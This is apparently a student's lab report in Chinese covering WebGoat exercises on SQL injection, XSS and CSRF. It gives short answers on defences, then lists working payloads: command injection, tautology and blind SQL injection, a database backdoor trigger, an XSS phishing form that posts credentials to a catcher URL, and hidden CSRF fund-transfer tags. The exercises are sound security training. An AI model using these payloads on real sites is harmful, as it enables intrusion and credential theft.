Exp9 Web安全基礎 20164302 王一帆

1 基礎問題回答

1.SQL注入攻擊原理,如何防護?javascript

原理:java

       經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。SQL注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行SQL語句以及進行其餘方式的攻擊,沒有對用戶輸入的數據進行過濾消毒是攻擊成功的主要緣由。git

防護:github

(1)對漏洞注入點相關代碼進行代碼及SQL注入關鍵字的過濾,以規範代碼安全性;web

(2)不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接;數據庫

(3)應用的異常信息應該給出儘量少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。瀏覽器

2.XSS攻擊的原理,如何防護?安全

原理:服務器

  XSS攻擊全稱跨站腳本攻擊,是爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS,XSS是一種在web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。cookie

防護:

(1)統XSS防護多采用特徵匹配方式,在全部提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法通常會須要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定爲XSS攻擊;

(2)檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。

3.CSRF攻擊原理,如何防護?

原理:

  CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。

防護:

(1)對於web站點,將持久化的受權方法(例如cookie或者HTTP受權)切換爲瞬時的受權方法(在每一個form中提供隱藏field),這將幫助網站防止這些攻擊。一種相似的方式是在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證;

(2)改良站內 API 的設計。對於發佈帖子這一類建立資源的操做,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變服務器端資源。

2 實踐過程記錄

2.1 webgoat下載

下載地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1

下載完成後,將文件放到主目錄下。

打開終端,輸入 java -jar webgoat-container-7.0.1-war-exec.jar 

在瀏覽器中打開 http://localhost:8080/WebGoat ,輸入默認的用戶名和密碼進行登陸

2.2 SQL注入攻擊(Injection Flaws)

2.2.1命令注入(Command Injection)

選擇 Injection Flaws -> Command Injection

右鍵頁面中複選框,選擇inspect Element審查網頁元素對源代碼進行修改,在末尾添加"& netstat -an & ipconfig"

點擊 view,看到網絡端口使用狀況和 IP 地址,攻擊成功

2.2.2 數字型SQL注入(Numeric SQL Injection)

選擇 Injection Flaws -> Numeric SQL Injection

右鍵頁面中複選框,選擇inspect Element審查網頁元素對源代碼value="101"進行修改,在城市編號101後面添加or 1=1

點擊 Go,能夠看到攻擊成功

2.2.3 日誌欺騙(Log Spoofing)

選擇 Injection Flaws -> Log Spoofing

在User Name中輸入dgx%0d%0aLogin Succeeded for username: admin利用0D%(回車)和%0A(換行)讓其在日誌中顯示兩行

輸入任意密碼後點擊 Login,成功將用戶名追加到日誌文件中。

 

2.2.4字符串注入(String SQL Injection)

選擇 Injection Flaws -> String SQL Injection,右鍵頁面將password密碼框,選擇inspect Element審查網頁元素對源代碼進行修改,將其最大長度限制改成20

以用戶Neville登陸,輸入密碼Smith' or '1' = '1

攻擊成功,獲得全部人員列表

2.2.5 數據庫後門(Database Backdoors)

選擇 Injection Flaws -> Database Backdoors

輸入101,獲得該用戶的信息

輸入注入語句101; update employee set salary=10000

輸入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid設置觸發器

2.2.6 盲數字SQL注入(Blind Numeric SQL Injection)

服務端頁面返回的信息有兩種:賬號有效,帳號無效,所以沒法簡單地查詢到賬號的 PIN 數值。但能夠利用系統後臺在用的查詢語句SELECT * FROM user_data WHERE userid=accountNumber;若是返回了賬號的信息,頁面將提示賬號有效,不然提示無效。

輸入101 AND 1=1 頁面返回賬號有效

輸入101 AND 1=2 第二個條件不成立,頁面返回賬號無效

輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );頁面返回賬號無效,說明PIN<=10000

不斷調整數值,能夠縮小判斷範圍,並最終判斷出PIN 數值的大小。最終以下語句返回賬號有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

2.3XXS攻擊

2.3.1跨站腳本釣魚攻擊(Phishing with XSS)

使用XSS和HTML插入製做一個釣魚網站,將其輸入在search框中,代碼以下:

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR

輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼

2.3.2 存儲型XSS攻擊(Stored XSS Attacks)

在title中任意輸入字符,留言板中輸入<script>alert("I am 20164302. You've been attacked!!!");</script>

2.3.3 反射型XSS攻擊(Reflected XSS Attacks)

在Enter your three digit access code:中輸入<script>alert("I am 20164302");</script>點擊Purchase,成功顯示警告框,內容爲咱們script腳本指定的內容。

2.4CSRF攻擊

2.4.1繞過 CSRF 確認( CSRF Prompt By‐Pass)

查看頁面右側Parameters中的src和menu值分別爲274和900

查看頁面右側Parameters中的src和menu值,分別爲2078372和900

在title中輸入任何參數,message框中輸入

<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>

以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的(寬高設置成1像素的目的是隱藏該圖片),用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交

在Message List中生成以Title命名的消息。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。能夠從左側的任務欄看到任務已完成

2.4.2 跨站請求僞造(Cross Site Request Forgery (CSRF))

查看Parameters中的src和menu值,分別爲312和900

在title中輸入任何參數,message框中輸入

<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />

點擊 Submit (其中語句中的&transferFunds=5000,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片)

3 實驗感悟

       這是課程的最後一次實驗,實驗內容並不算太複雜,在webgoat上完成,還會有指導,經過實際操做,對SQL、XSS、CSRF有了進一步的瞭解。本身在實際動手操做方面一直比較薄弱,能夠說這門課程對本身來講是一次磨鍊,收穫了很多。

相關文章
相關標籤/搜索